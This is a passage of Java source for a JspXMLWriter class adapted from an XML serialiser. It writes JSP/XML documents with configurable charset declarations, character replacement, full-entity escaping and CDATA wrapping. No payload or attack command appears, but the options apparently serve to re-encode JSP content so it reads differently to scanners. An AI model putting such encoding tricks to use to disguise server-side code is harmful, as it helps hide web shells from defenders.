namespacesMap;
96 |
97 | /**
98 | * what is the maximum allowed character code such as 127 in US-ASCII (7
99 | * bit) or 255 in ISO- (8 bit) or -1 to not escape any characters (other
100 | * than the special XML characters like < > &)
101 | */
102 | private int maximumAllowedCharacter;
103 |
104 | private Options options;
105 | //
106 | // public JspXMLWriter(Writer writer ){
107 | // this(writer, DEFAULT_FORMAT);
108 | // }
109 |
110 | // public JspXMLWriter(Writer writer, OutputFormat format,Options options) {
111 | // this.writer = writer;
112 | // this.format = format;
113 | // namespaceStack.push(Namespace.NO_NAMESPACE);
114 | // this.options = options;
115 | // }
116 |
117 | // public JspXMLWriter() {
118 | // this.format = DEFAULT_FORMAT;
119 | // this.writer = new BufferedWriter(new OutputStreamWriter(System.out));
120 | // this.autoFlush = true;
121 | // namespaceStack.push(Namespace.NO_NAMESPACE);
122 | // }
123 |
124 | // public JspXMLWriter(OutputStream out) throws UnsupportedEncodingException {
125 | // this.format = DEFAULT_FORMAT;
126 | // this.writer = createWriter(out, format.getEncoding());
127 | // this.autoFlush = true;
128 | // namespaceStack.push(Namespace.NO_NAMESPACE);
129 | // }
130 |
131 | public JspXMLWriter(OutputStream out, OutputFormat format,Options options)
132 | throws UnsupportedEncodingException {
133 | this.format = format;
134 | this.writer = createWriter(out, format.getEncoding());
135 | this.autoFlush = true;
136 | namespaceStack.push(Namespace.NO_NAMESPACE);
137 | this.options = options;
138 | }
139 |
140 | // public JspXMLWriter(OutputFormat format) throws UnsupportedEncodingException {
141 | // this.format = format;
142 | // this.writer = createWriter(System.out, format.getEncoding());
143 | // this.autoFlush = true;
144 | // namespaceStack.push(Namespace.NO_NAMESPACE);
145 | // }
146 |
147 | public void setWriter(Writer writer) {
148 | this.writer = writer;
149 | this.autoFlush = false;
150 | }
151 |
152 | public void setOutputStream(OutputStream out)
153 | throws UnsupportedEncodingException {
154 | this.writer = createWriter(out, format.getEncoding());
155 | this.autoFlush = true;
156 | }
157 |
158 | /**
159 | * DOCUMENT ME!
160 | *
161 | * @return true if text thats output should be escaped. This is enabled by
162 | * default. It could be disabled if the output format is textual,
163 | * like in XSLT where we can have xml, html or text output.
164 | */
165 | public boolean isEscapeText() {
166 | return escapeText;
167 | }
168 |
169 | /**
170 | * Sets whether text output should be escaped or not. This is enabled by
171 | * default. It could be disabled if the output format is textual, like in
172 | * XSLT where we can have xml, html or text output.
173 | *
174 | * @param escapeText
175 | * DOCUMENT ME!
176 | */
177 | public void setEscapeText(boolean escapeText) {
178 | this.escapeText = escapeText;
179 | }
180 |
181 | /**
182 | * Set the initial indentation level. This can be used to output a document
183 | * (or, more likely, an element) starting at a given indent level, so it's
184 | * not always flush against the left margin. Default: 0
185 | *
186 | * @param indentLevel
187 | * the number of indents to start with
188 | */
189 | public void setIndentLevel(int indentLevel) {
190 | this.indentLevel = indentLevel;
191 | }
192 |
193 | /**
194 | * Returns the maximum allowed character code that should be allowed
195 | * unescaped which defaults to 127 in US-ASCII (7 bit) or 255 in ISO- (8
196 | * bit).
197 | *
198 | * @return DOCUMENT ME!
199 | */
200 | public int getMaximumAllowedCharacter() {
201 | if (maximumAllowedCharacter == 0) {
202 | maximumAllowedCharacter = defaultMaximumAllowedCharacter();
203 | }
204 |
205 | return maximumAllowedCharacter;
206 | }
207 |
208 | /**
209 | * Sets the maximum allowed character code that should be allowed unescaped
210 | * such as 127 in US-ASCII (7 bit) or 255 in ISO- (8 bit) or -1 to not
211 | * escape any characters (other than the special XML characters like <
212 | * > &) If this is not explicitly set then it is defaulted from the
213 | * encoding.
214 | *
215 | * @param maximumAllowedCharacter
216 | * The maximumAllowedCharacter to set
217 | */
218 | public void setMaximumAllowedCharacter(int maximumAllowedCharacter) {
219 | this.maximumAllowedCharacter = maximumAllowedCharacter;
220 | }
221 |
222 | /**
223 | * Flushes the underlying Writer
224 | *
225 | * @throws IOException
226 | * DOCUMENT ME!
227 | */
228 | public void flush() throws IOException {
229 | writer.flush();
230 | }
231 |
232 | /**
233 | * Closes the underlying Writer
234 | *
235 | * @throws IOException
236 | * DOCUMENT ME!
237 | */
238 | public void close() throws IOException {
239 | writer.close();
240 | }
241 |
242 | /**
243 | * Writes the new line text to the underlying Writer
244 | *
245 | * @throws IOException
246 | * DOCUMENT ME!
247 | */
248 | public void println() throws IOException {
249 | writer.write(format.getLineSeparator());
250 | }
251 |
252 | /**
253 | * Writes the given {@link Attribute}.
254 | *
255 | * @param attribute
256 | * Attribute
to output.
257 | *
258 | * @throws IOException
259 | * DOCUMENT ME!
260 | */
261 | public void write(Attribute attribute) throws IOException {
262 | writeAttribute(attribute);
263 |
264 | if (autoFlush) {
265 | flush();
266 | }
267 | }
268 |
269 | /**
270 | *
271 | * This will print the Document
to the current Writer.
272 | *
273 | *
274 | *
275 | * Warning: using your own Writer may cause the writer's preferred character
276 | * encoding to be ignored. If you use encodings other than UTF8, we
277 | * recommend using the method that takes an OutputStream instead.
278 | *
279 | *
280 | *
281 | * Note: as with all Writers, you may need to flush() yours after this
282 | * method returns.
283 | *
284 | *
285 | * @param doc
286 | * Document
to format.
287 | *
288 | * @throws IOException
289 | * if there's any problem writing.
290 | */
291 | public void write(Document doc) throws IOException {
292 | writeDeclaration();
293 |
294 | if (doc.getDocType() != null) {
295 | indent();
296 | writeDocType(doc.getDocType());
297 | }
298 |
299 | for (int i = 0, size = doc.nodeCount(); i < size; i++) {
300 | Node node = doc.node(i);
301 | writeNode(node);
302 | }
303 |
304 | //writePrintln();
305 |
306 | if (autoFlush) {
307 | flush();
308 | }
309 | }
310 |
311 | /**
312 | *
313 | * Writes the {@link Element}
, including its {@link
314 | * Attribute}
315 | * s, and its value, and all its content (child nodes) to the current
316 | * Writer.
317 | *
318 | *
319 | * @param element
320 | * Element
to output.
321 | *
322 | * @throws IOException
323 | * DOCUMENT ME!
324 | */
325 | public void write(Element element) throws IOException {
326 | writeElement(element);
327 |
328 | if (autoFlush) {
329 | flush();
330 | }
331 | }
332 |
333 | /**
334 | * Writes the given {@link CDATA}.
335 | *
336 | * @param cdata
337 | * CDATA
to output.
338 | *
339 | * @throws IOException
340 | * DOCUMENT ME!
341 | */
342 | public void write(CDATA cdata) throws IOException {
343 | writeCDATA(cdata.getText());
344 |
345 | if (autoFlush) {
346 | flush();
347 | }
348 | }
349 |
350 | /**
351 | * Writes the given {@link Comment}.
352 | *
353 | * @param comment
354 | * Comment
to output.
355 | *
356 | * @throws IOException
357 | * DOCUMENT ME!
358 | */
359 | public void write(Comment comment) throws IOException {
360 | writeComment(comment.getText());
361 |
362 | if (autoFlush) {
363 | flush();
364 | }
365 | }
366 |
367 | /**
368 | * Writes the given {@link DocumentType}.
369 | *
370 | * @param docType
371 | * DocumentType
to output.
372 | *
373 | * @throws IOException
374 | * DOCUMENT ME!
375 | */
376 | public void write(DocumentType docType) throws IOException {
377 | writeDocType(docType);
378 |
379 | if (autoFlush) {
380 | flush();
381 | }
382 | }
383 |
384 | /**
385 | * Writes the given {@link Entity}.
386 | *
387 | * @param entity
388 | * Entity
to output.
389 | *
390 | * @throws IOException
391 | * DOCUMENT ME!
392 | */
393 | public void write(Entity entity) throws IOException {
394 | writeEntity(entity);
395 |
396 | if (autoFlush) {
397 | flush();
398 | }
399 | }
400 |
401 | /**
402 | * Writes the given {@link Namespace}.
403 | *
404 | * @param namespace
405 | * Namespace
to output.
406 | *
407 | * @throws IOException
408 | * DOCUMENT ME!
409 | */
410 | public void write(Namespace namespace) throws IOException {
411 | writeNamespace(namespace);
412 |
413 | if (autoFlush) {
414 | flush();
415 | }
416 | }
417 |
418 | /**
419 | * Writes the given {@link ProcessingInstruction}.
420 | *
421 | * @param processingInstruction
422 | * ProcessingInstruction
to output.
423 | *
424 | * @throws IOException
425 | * DOCUMENT ME!
426 | */
427 | public void write(ProcessingInstruction processingInstruction)
428 | throws IOException {
429 | writeProcessingInstruction(processingInstruction);
430 |
431 | if (autoFlush) {
432 | flush();
433 | }
434 | }
435 |
436 | /**
437 | *
438 | * Print out a {@link String}, Perfoms the necessary entity escaping and
439 | * whitespace stripping.
440 | *
441 | *
442 | * @param text
443 | * is the text to output
444 | *
445 | * @throws IOException
446 | * DOCUMENT ME!
447 | */
448 | public void write(String text) throws IOException {
449 | writeString(text);
450 |
451 | if (autoFlush) {
452 | flush();
453 | }
454 | }
455 |
456 | /**
457 | * Writes the given {@link Text}.
458 | *
459 | * @param text
460 | * Text
to output.
461 | *
462 | * @throws IOException
463 | * DOCUMENT ME!
464 | */
465 | public void write(Text text) throws IOException {
466 | writeString(text.getText());
467 |
468 | if (autoFlush) {
469 | flush();
470 | }
471 | }
472 |
473 | /**
474 | * Writes the given {@link Node}.
475 | *
476 | * @param node
477 | * Node
to output.
478 | *
479 | * @throws IOException
480 | * DOCUMENT ME!
481 | */
482 | public void write(Node node) throws IOException {
483 | writeNode(node);
484 |
485 | if (autoFlush) {
486 | flush();
487 | }
488 | }
489 |
490 | /**
491 | * Writes the given object which should be a String, a Node or a List of
492 | * Nodes.
493 | *
494 | * @param object
495 | * is the object to output.
496 | *
497 | * @throws IOException
498 | * DOCUMENT ME!
499 | */
500 | public void write(Object object) throws IOException {
501 | if (object instanceof Node) {
502 | write((Node) object);
503 | } else if (object instanceof String) {
504 | write((String) object);
505 | } else if (object instanceof List) {
506 | List> list = (List>) object;
507 |
508 | for (Object aList : list) {
509 | write(aList);
510 | }
511 | } else if (object != null) {
512 | throw new IOException("Invalid object: " + object);
513 | }
514 | }
515 |
516 | /**
517 | *
518 | * Writes the opening tag of an {@link Element}, including its {@link
519 | * Attribute}s but without its content.
520 | *
521 | *
522 | * @param element
523 | * Element
to output.
524 | *
525 | * @throws IOException
526 | * DOCUMENT ME!
527 | */
528 | public void writeOpen(Element element) throws IOException {
529 | writer.write("<");
530 | writer.write(element.getQualifiedName());
531 | writeNamespaces(element);
532 | writeAttributes(element);
533 | writer.write(">");
534 | }
535 |
536 | /**
537 | *
538 | * Writes the closing tag of an {@link Element}
539 | *
540 | *
541 | * @param element
542 | * Element
to output.
543 | *
544 | * @throws IOException
545 | * DOCUMENT ME!
546 | */
547 | public void writeClose(Element element) throws IOException {
548 | writeClose(element.getQualifiedName());
549 | }
550 |
551 | // XMLFilterImpl methods
552 | // -------------------------------------------------------------------------
553 | public void parse(InputSource source) throws IOException, SAXException {
554 | installLexicalHandler();
555 | super.parse(source);
556 | }
557 |
558 | public void setProperty(String name, Object value)
559 | throws SAXNotRecognizedException, SAXNotSupportedException {
560 | for (String lexicalHandlerName : LEXICAL_HANDLER_NAMES) {
561 | if (lexicalHandlerName.equals(name)) {
562 | setLexicalHandler((LexicalHandler) value);
563 |
564 | return;
565 | }
566 | }
567 |
568 | super.setProperty(name, value);
569 | }
570 |
571 | public Object getProperty(String name) throws SAXNotRecognizedException,
572 | SAXNotSupportedException {
573 | for (String lexicalHandlerName : LEXICAL_HANDLER_NAMES) {
574 | if (lexicalHandlerName.equals(name)) {
575 | return getLexicalHandler();
576 | }
577 | }
578 |
579 | return super.getProperty(name);
580 | }
581 |
582 | public void setLexicalHandler(LexicalHandler handler) {
583 | if (handler == null) {
584 | throw new NullPointerException("Null lexical handler");
585 | } else {
586 | this.lexicalHandler = handler;
587 | }
588 | }
589 |
590 | public LexicalHandler getLexicalHandler() {
591 | return lexicalHandler;
592 | }
593 |
594 | // ContentHandler interface
595 | // -------------------------------------------------------------------------
596 | public void setDocumentLocator(Locator locator) {
597 | super.setDocumentLocator(locator);
598 | }
599 |
600 | public void startDocument() throws SAXException {
601 | try {
602 | writeDeclaration();
603 | super.startDocument();
604 | } catch (IOException e) {
605 | handleException(e);
606 | }
607 | }
608 |
609 | public void endDocument() throws SAXException {
610 | super.endDocument();
611 |
612 | if (autoFlush) {
613 | try {
614 | flush();
615 | } catch (IOException e) {
616 | }
617 | }
618 | }
619 |
620 | public void startPrefixMapping(String prefix, String uri)
621 | throws SAXException {
622 | if (namespacesMap == null) {
623 | namespacesMap = new HashMap();
624 | }
625 |
626 | namespacesMap.put(prefix, uri);
627 | super.startPrefixMapping(prefix, uri);
628 | }
629 |
630 | public void endPrefixMapping(String prefix) throws SAXException {
631 | super.endPrefixMapping(prefix);
632 | }
633 |
634 | public void startElement(String namespaceURI, String localName,
635 | String qName, Attributes attributes) throws SAXException {
636 | try {
637 | charsAdded = false;
638 |
639 | writePrintln();
640 | indent();
641 | writer.write("<");
642 | writer.write(qName);
643 | writeNamespaces();
644 | writeAttributes(attributes);
645 | writer.write(">");
646 | ++indentLevel;
647 | lastOutputNodeType = Node.ELEMENT_NODE;
648 | lastElementClosed = false;
649 |
650 | super.startElement(namespaceURI, localName, qName, attributes);
651 | } catch (IOException e) {
652 | handleException(e);
653 | }
654 | }
655 |
656 | public void endElement(String namespaceURI, String localName, String qName)
657 | throws SAXException {
658 | try {
659 | charsAdded = false;
660 | --indentLevel;
661 |
662 | if (lastElementClosed) {
663 | writePrintln();
664 | indent();
665 | }
666 |
667 | // XXXX: need to determine this using a stack and checking for
668 | // content / children
669 | boolean hadContent = true;
670 |
671 | if (hadContent) {
672 | writeClose(qName);
673 | } else {
674 | writeEmptyElementClose(qName);
675 | }
676 |
677 | lastOutputNodeType = Node.ELEMENT_NODE;
678 | lastElementClosed = true;
679 |
680 | super.endElement(namespaceURI, localName, qName);
681 | } catch (IOException e) {
682 | handleException(e);
683 | }
684 | }
685 |
686 | public void characters(char[] ch, int start, int length)
687 | throws SAXException {
688 | if ((ch == null) || (ch.length == 0) || (length <= 0)) {
689 | return;
690 | }
691 |
692 | try {
693 | /*
694 | * we can't use the writeString method here because it's possible we
695 | * don't receive all characters at once and calling writeString
696 | * would cause unwanted spaces to be added in between these chunks
697 | * of character arrays.
698 | */
699 | String string = String.valueOf(ch, start, length);
700 |
701 | if (escapeText) {
702 | string = escapeElementEntities(string);
703 | }
704 |
705 | if (format.isTrimText()) {
706 | if ((lastOutputNodeType == Node.TEXT_NODE) && !charsAdded) {
707 | writer.write(' ');
708 | } else if (charsAdded && Character.isWhitespace(lastChar)) {
709 | writer.write(' ');
710 | } else if (lastOutputNodeType == Node.ELEMENT_NODE
711 | && format.isPadText() && lastElementClosed
712 | && Character.isWhitespace(ch[0])) {
713 | writer.write(PAD_TEXT);
714 | }
715 |
716 | String delim = "";
717 | StringTokenizer tokens = new StringTokenizer(string);
718 |
719 | while (tokens.hasMoreTokens()) {
720 | writer.write(delim);
721 | writer.write(tokens.nextToken());
722 | delim = " ";
723 | }
724 | } else {
725 | writer.write(string);
726 | }
727 |
728 | charsAdded = true;
729 | lastChar = ch[(start + length) - 1];
730 | lastOutputNodeType = Node.TEXT_NODE;
731 |
732 | super.characters(ch, start, length);
733 | } catch (IOException e) {
734 | handleException(e);
735 | }
736 | }
737 |
738 | public void ignorableWhitespace(char[] ch, int start, int length)
739 | throws SAXException {
740 | super.ignorableWhitespace(ch, start, length);
741 | }
742 |
743 | public void processingInstruction(String target, String data)
744 | throws SAXException {
745 | try {
746 | indent();
747 | writer.write("");
748 | writer.write(target);
749 | writer.write(" ");
750 | writer.write(data);
751 | writer.write("?>");
752 | writePrintln();
753 | lastOutputNodeType = Node.PROCESSING_INSTRUCTION_NODE;
754 |
755 | super.processingInstruction(target, data);
756 | } catch (IOException e) {
757 | handleException(e);
758 | }
759 | }
760 |
761 | // DTDHandler interface
762 | // -------------------------------------------------------------------------
763 | public void notationDecl(String name, String publicID, String systemID)
764 | throws SAXException {
765 | super.notationDecl(name, publicID, systemID);
766 | }
767 |
768 | public void unparsedEntityDecl(String name, String publicID,
769 | String systemID, String notationName) throws SAXException {
770 | super.unparsedEntityDecl(name, publicID, systemID, notationName);
771 | }
772 |
773 | // LexicalHandler interface
774 | // -------------------------------------------------------------------------
775 | public void startDTD(String name, String publicID, String systemID)
776 | throws SAXException {
777 | inDTD = true;
778 |
779 | try {
780 | writeDocType(name, publicID, systemID);
781 | } catch (IOException e) {
782 | handleException(e);
783 | }
784 |
785 | if (lexicalHandler != null) {
786 | lexicalHandler.startDTD(name, publicID, systemID);
787 | }
788 | }
789 |
790 | public void endDTD() throws SAXException {
791 | inDTD = false;
792 |
793 | if (lexicalHandler != null) {
794 | lexicalHandler.endDTD();
795 | }
796 | }
797 |
798 | public void startCDATA() throws SAXException {
799 | try {
800 | writer.write("");
813 | } catch (IOException e) {
814 | handleException(e);
815 | }
816 |
817 | if (lexicalHandler != null) {
818 | lexicalHandler.endCDATA();
819 | }
820 | }
821 |
822 | public void startEntity(String name) throws SAXException {
823 | try {
824 | writeEntityRef(name);
825 | } catch (IOException e) {
826 | handleException(e);
827 | }
828 |
829 | if (lexicalHandler != null) {
830 | lexicalHandler.startEntity(name);
831 | }
832 | }
833 |
834 | public void endEntity(String name) throws SAXException {
835 | if (lexicalHandler != null) {
836 | lexicalHandler.endEntity(name);
837 | }
838 | }
839 |
840 | public void comment(char[] ch, int start, int length) throws SAXException {
841 | if (showCommentsInDTDs || !inDTD) {
842 | try {
843 | charsAdded = false;
844 | writeComment(new String(ch, start, length));
845 | } catch (IOException e) {
846 | handleException(e);
847 | }
848 | }
849 |
850 | if (lexicalHandler != null) {
851 | lexicalHandler.comment(ch, start, length);
852 | }
853 | }
854 |
855 | // Implementation methods
856 | // -------------------------------------------------------------------------
857 | protected void writeElement(Element element) throws IOException {
858 | int size = element.nodeCount();
859 | String qualifiedName = element.getQualifiedName();
860 |
861 | writePrintln();
862 | indent();
863 |
864 | writer.write("<");
865 | writer.write(qualifiedName);
866 |
867 | int previouslyDeclaredNamespaces = namespaceStack.size();
868 | Namespace ns = element.getNamespace();
869 |
870 | if (isNamespaceDeclaration(ns)) {
871 | namespaceStack.push(ns);
872 | writeNamespace(ns);
873 | }
874 |
875 | // Print out additional namespace declarations
876 | boolean textOnly = true;
877 |
878 | for (int i = 0; i < size; i++) {
879 | Node node = element.node(i);
880 |
881 | if (node instanceof Namespace) {
882 | Namespace additional = (Namespace) node;
883 |
884 | if (isNamespaceDeclaration(additional)) {
885 | namespaceStack.push(additional);
886 | writeNamespace(additional);
887 | }
888 | } else if (node instanceof Element) {
889 | textOnly = false;
890 | } else if (node instanceof Comment) {
891 | textOnly = false;
892 | }
893 | }
894 |
895 | writeAttributes(element);
896 |
897 | lastOutputNodeType = Node.ELEMENT_NODE;
898 |
899 | if (size <= 0) {
900 | writeEmptyElementClose(qualifiedName);
901 | } else {
902 | writer.write(">");
903 |
904 | if (textOnly) {
905 | // we have at least one text node so lets assume
906 | // that its non-empty
907 | writeElementContent(element);
908 | } else {
909 | // we know it's not null or empty from above
910 | ++indentLevel;
911 |
912 | writeElementContent(element);
913 |
914 | --indentLevel;
915 |
916 | writePrintln();
917 | indent();
918 | }
919 |
920 | writer.write("");
921 | writer.write(qualifiedName);
922 | writer.write(">");
923 | }
924 |
925 | // remove declared namespaceStack from stack
926 | while (namespaceStack.size() > previouslyDeclaredNamespaces) {
927 | namespaceStack.pop();
928 | }
929 |
930 | lastOutputNodeType = Node.ELEMENT_NODE;
931 | }
932 |
933 | /**
934 | * Determines if element is a special case of XML elements where it contains
935 | * an xml:space attribute of "preserve". If it does, then retain whitespace.
936 | *
937 | * @param element
938 | * DOCUMENT ME!
939 | *
940 | * @return DOCUMENT ME!
941 | */
942 | protected final boolean isElementSpacePreserved(Element element) {
943 | final Attribute attr = (Attribute) element.attribute("space");
944 | boolean preserveFound = preserve; // default to global state
945 |
946 | if (attr != null) {
947 | preserveFound = "xml".equals(attr.getNamespacePrefix()) && "preserve".equals(attr.getText());
948 | }
949 |
950 | return preserveFound;
951 | }
952 |
953 | /**
954 | * Outputs the content of the given element. If whitespace trimming is
955 | * enabled then all adjacent text nodes are appended together before the
956 | * whitespace trimming occurs to avoid problems with multiple text nodes
957 | * being created due to text content that spans parser buffers in a SAX
958 | * parser.
959 | *
960 | * @param element
961 | * DOCUMENT ME!
962 | *
963 | * @throws IOException
964 | * DOCUMENT ME!
965 | */
966 | protected void writeElementContent(Element element) throws IOException {
967 | boolean trim = format.isTrimText();
968 | boolean oldPreserve = preserve;
969 |
970 | if (trim) { // verify we have to before more expensive test
971 | preserve = isElementSpacePreserved(element);
972 | trim = !preserve;
973 | }
974 |
975 | if (trim) {
976 | // concatenate adjacent text nodes together
977 | // so that whitespace trimming works properly
978 | Text lastTextNode = null;
979 | StringBuilder buff = null;
980 | boolean textOnly = true;
981 |
982 | for (Node node : element.content()) {
983 | if (node instanceof Text) {
984 | if (lastTextNode == null) {
985 | lastTextNode = (Text) node;
986 | } else {
987 | if (buff == null) {
988 | buff = new StringBuilder(lastTextNode.getText());
989 | }
990 |
991 | buff.append((node).getText());
992 | }
993 | } else {
994 | if (!textOnly && format.isPadText()) {
995 | // only add the PAD_TEXT if the text itself starts with
996 | // whitespace
997 | final boolean startsWithWhitespace;
998 | if (buff != null) {
999 | startsWithWhitespace = startsWithWhitespace(buff);
1000 | } else if (lastTextNode != null) {
1001 | startsWithWhitespace = startsWithWhitespace(lastTextNode.getText());
1002 | } else {
1003 | startsWithWhitespace = false;
1004 | }
1005 |
1006 | if (startsWithWhitespace) {
1007 | writer.write(PAD_TEXT);
1008 | }
1009 | }
1010 |
1011 | if (lastTextNode != null) {
1012 | if (buff != null) {
1013 | writeString(buff.toString());
1014 | buff = null;
1015 | } else {
1016 | writeString(lastTextNode.getText());
1017 | }
1018 |
1019 | if (format.isPadText()) {
1020 | // only add the PAD_TEXT if the text itself ends
1021 | // with whitespace
1022 | final boolean endsWithWhitespace;
1023 | if (buff != null) {
1024 | endsWithWhitespace = endsWithWhitespace(buff);
1025 | } else {
1026 | endsWithWhitespace = endsWithWhitespace(lastTextNode.getText());
1027 | }
1028 |
1029 | if (endsWithWhitespace) {
1030 | writer.write(PAD_TEXT);
1031 | }
1032 | }
1033 |
1034 | lastTextNode = null;
1035 | }
1036 |
1037 | textOnly = false;
1038 | writeNode(node);
1039 | }
1040 | }
1041 |
1042 | if (lastTextNode != null) {
1043 | if (!textOnly && format.isPadText()) {
1044 | // only add the PAD_TEXT if the text itself starts with
1045 | // whitespace
1046 | final boolean startsWithWhitespace;
1047 | if (buff != null) {
1048 | startsWithWhitespace = startsWithWhitespace(buff);
1049 | } else {
1050 | startsWithWhitespace = startsWithWhitespace(lastTextNode.getText());
1051 | }
1052 |
1053 | if (startsWithWhitespace) {
1054 | writer.write(PAD_TEXT);
1055 | }
1056 | }
1057 |
1058 | if (buff != null) {
1059 | writeString(buff.toString());
1060 | buff = null;
1061 | } else {
1062 | writeString(lastTextNode.getText());
1063 | }
1064 |
1065 | lastTextNode = null;
1066 | }
1067 | } else {
1068 | Node lastTextNode = null;
1069 |
1070 | for (Node node : element.content()) {
1071 | if (node instanceof Text) {
1072 | writeNode(node);
1073 | lastTextNode = node;
1074 | } else {
1075 | if ((lastTextNode != null) && format.isPadText()) {
1076 | // only add the PAD_TEXT if the text itself ends with
1077 | // whitespace
1078 | if (endsWithWhitespace(lastTextNode.getText())) {
1079 | writer.write(PAD_TEXT);
1080 | }
1081 | }
1082 |
1083 | writeNode(node);
1084 |
1085 | // if ((lastTextNode != null) && format.isPadText()) {
1086 | // writer.write(PAD_TEXT);
1087 | // }
1088 |
1089 | lastTextNode = null;
1090 | }
1091 | }
1092 | }
1093 |
1094 | preserve = oldPreserve;
1095 | }
1096 |
1097 | protected void writeCDATA(String text) throws IOException {
1098 | writer.write("");
1105 |
1106 | lastOutputNodeType = Node.CDATA_SECTION_NODE;
1107 | }
1108 |
1109 | protected void writeDocType(DocumentType docType) throws IOException {
1110 | if (docType != null) {
1111 | docType.write(writer);
1112 | writePrintln();
1113 | }
1114 | }
1115 |
1116 | protected void writeNamespace(Namespace namespace) throws IOException {
1117 | if (namespace != null) {
1118 | writeNamespace(namespace.getPrefix(), namespace.getURI());
1119 | }
1120 | }
1121 |
1122 | /**
1123 | * Writes the SAX namepsaces
1124 | *
1125 | * @throws IOException
1126 | * DOCUMENT ME!
1127 | */
1128 | protected void writeNamespaces() throws IOException {
1129 | if (namespacesMap != null) {
1130 | for (Map.Entry entry : namespacesMap.entrySet()) {
1131 | String prefix = entry.getKey();
1132 | String uri = entry.getValue();
1133 | writeNamespace(prefix, uri);
1134 | }
1135 |
1136 | namespacesMap = null;
1137 | }
1138 | }
1139 |
1140 | /**
1141 | * Writes the SAX namepsaces
1142 | *
1143 | * @param prefix
1144 | * the prefix
1145 | * @param uri
1146 | * the namespace uri
1147 | *
1148 | * @throws IOException DOCUMENT ME!
1149 | */
1150 | protected void writeNamespace(String prefix, String uri)
1151 | throws IOException {
1152 | if ((prefix != null) && (prefix.length() > 0)) {
1153 | writer.write(" xmlns:");
1154 | writer.write(prefix);
1155 | writer.write("=\"");
1156 | } else {
1157 | writer.write(" xmlns=\"");
1158 | }
1159 |
1160 | writer.write(uri);
1161 | writer.write("\"");
1162 | }
1163 |
1164 | /**
1165 | * Writes all namespaces declared directly on element.
1166 | *
1167 | * @throws IOException
1168 | */
1169 | protected void writeNamespaces(Element element) throws IOException {
1170 | assert element != null;
1171 | for (Namespace ns : element.declaredNamespaces()) {
1172 | writeNamespace(ns);
1173 | namespaceStack.push(ns);
1174 | }
1175 | }
1176 |
1177 | protected void writeProcessingInstruction(ProcessingInstruction pi)
1178 | throws IOException {
1179 | // indent();
1180 | writer.write("");
1181 | writer.write(pi.getName());
1182 | writer.write(" ");
1183 | writer.write(pi.getText());
1184 | writer.write("?>");
1185 | writePrintln();
1186 |
1187 | lastOutputNodeType = Node.PROCESSING_INSTRUCTION_NODE;
1188 | }
1189 |
1190 | public static Charset[] controllerSpaceCharsets = new Charset[]{
1191 | StandardCharsets.UTF_8,
1192 | StandardCharsets.ISO_8859_1,
1193 | StandardCharsets.UTF_16,
1194 | StandardCharsets.UTF_16BE,
1195 | StandardCharsets.UTF_16LE,
1196 | };
1197 |
1198 | protected void writeString(String text) throws IOException {
1199 | if ((text != null) && (text.length() > 0)) {
1200 | Charset decCharset = Charset.forName(options.charsetDeclare);
1201 | if (options.controllerSpaceReplace!=null && Charset.forName(options.charsetMagic) == Charset.forName(options.charsetDeclare)) {
1202 | if (Arrays.stream(controllerSpaceCharsets).anyMatch(c -> c == decCharset)){
1203 | Map rep = options.controllerSpaceReplace;
1204 | if (rep != null) {
1205 | for (String raw : rep.keySet()) {
1206 | text = text.replace(raw, rep.get(raw));
1207 | }
1208 | }
1209 | }
1210 | }
1211 | if (options.txtEscapeType.equals(Const.EscapeType.entityNormal.name())) {
1212 | writer.write(Utils.EscapeText(text, false,options.entityEscapeType));
1213 | } else if (options.txtEscapeType.equals(Const.EscapeType.entityAll.name())) {
1214 | writer.write(Utils.EscapeText(text, true,options.entityEscapeType));
1215 | }else if (options.txtEscapeType.equals(Const.EscapeType.cdata.name())){
1216 | writer.write(Utils.WrapWithCdata(text,options.cdataWrapCap));
1217 | }else{
1218 | writer.write(text);
1219 | }
1220 | // if (escapeText) {
1221 | // text = escapeElementEntities(text);
1222 | // }
1223 | //
1224 | // if (format.isTrimText()) {
1225 | // boolean first = true;
1226 | // StringTokenizer tokenizer = new StringTokenizer(text);
1227 | //
1228 | // while (tokenizer.hasMoreTokens()) {
1229 | // String token = tokenizer.nextToken();
1230 | //
1231 | // if (first) {
1232 | // first = false;
1233 | //
1234 | // if (lastOutputNodeType == Node.TEXT_NODE) {
1235 | // writer.write(" ");
1236 | // }
1237 | // } else {
1238 | // writer.write(" ");
1239 | // }
1240 | //
1241 | // writer.write(token);
1242 | // lastOutputNodeType = Node.TEXT_NODE;
1243 | // }
1244 | // } else {
1245 | // lastOutputNodeType = Node.TEXT_NODE;
1246 | // writer.write(text);
1247 | // }
1248 | }
1249 | }
1250 |
1251 | /**
1252 | * This method is used to write out Nodes that contain text and still allow
1253 | * for xml:space to be handled properly.
1254 | *
1255 | * @param node
1256 | * DOCUMENT ME!
1257 | *
1258 | * @throws IOException
1259 | * DOCUMENT ME!
1260 | */
1261 | protected void writeNodeText(Node node) throws IOException {
1262 | String text = node.getText();
1263 |
1264 | if ((text != null) && (text.length() > 0)) {
1265 | if (escapeText) {
1266 | text = escapeElementEntities(text);
1267 | }
1268 |
1269 | lastOutputNodeType = Node.TEXT_NODE;
1270 | writer.write(text);
1271 | }
1272 | }
1273 |
1274 | protected void writeNode(Node node) throws IOException {
1275 | int nodeType = node.getNodeType();
1276 |
1277 | switch (nodeType) {
1278 | case Node.ELEMENT_NODE:
1279 | writeElement((Element) node);
1280 |
1281 | break;
1282 |
1283 | case Node.ATTRIBUTE_NODE:
1284 | writeAttribute((Attribute) node);
1285 |
1286 | break;
1287 |
1288 | case Node.TEXT_NODE:
1289 | writeNodeText(node);
1290 |
1291 | // write((Text) node);
1292 | break;
1293 |
1294 | case Node.CDATA_SECTION_NODE:
1295 | writeCDATA(node.getText());
1296 |
1297 | break;
1298 |
1299 | case Node.ENTITY_REFERENCE_NODE:
1300 | writeEntity((Entity) node);
1301 |
1302 | break;
1303 |
1304 | case Node.PROCESSING_INSTRUCTION_NODE:
1305 | writeProcessingInstruction((ProcessingInstruction) node);
1306 |
1307 | break;
1308 |
1309 | case Node.COMMENT_NODE:
1310 | writeComment(node.getText());
1311 |
1312 | break;
1313 |
1314 | case Node.DOCUMENT_NODE:
1315 | write((Document) node);
1316 |
1317 | break;
1318 |
1319 | case Node.DOCUMENT_TYPE_NODE:
1320 | writeDocType((DocumentType) node);
1321 |
1322 | break;
1323 |
1324 | case Node.NAMESPACE_NODE:
1325 |
1326 | // Will be output with attributes
1327 | // write((Namespace) node);
1328 | break;
1329 |
1330 | default:
1331 | throw new IOException("Invalid node type: " + node);
1332 | }
1333 | }
1334 |
1335 | protected void installLexicalHandler() {
1336 | XMLReader parent = getParent();
1337 |
1338 | if (parent == null) {
1339 | throw new NullPointerException("No parent for filter");
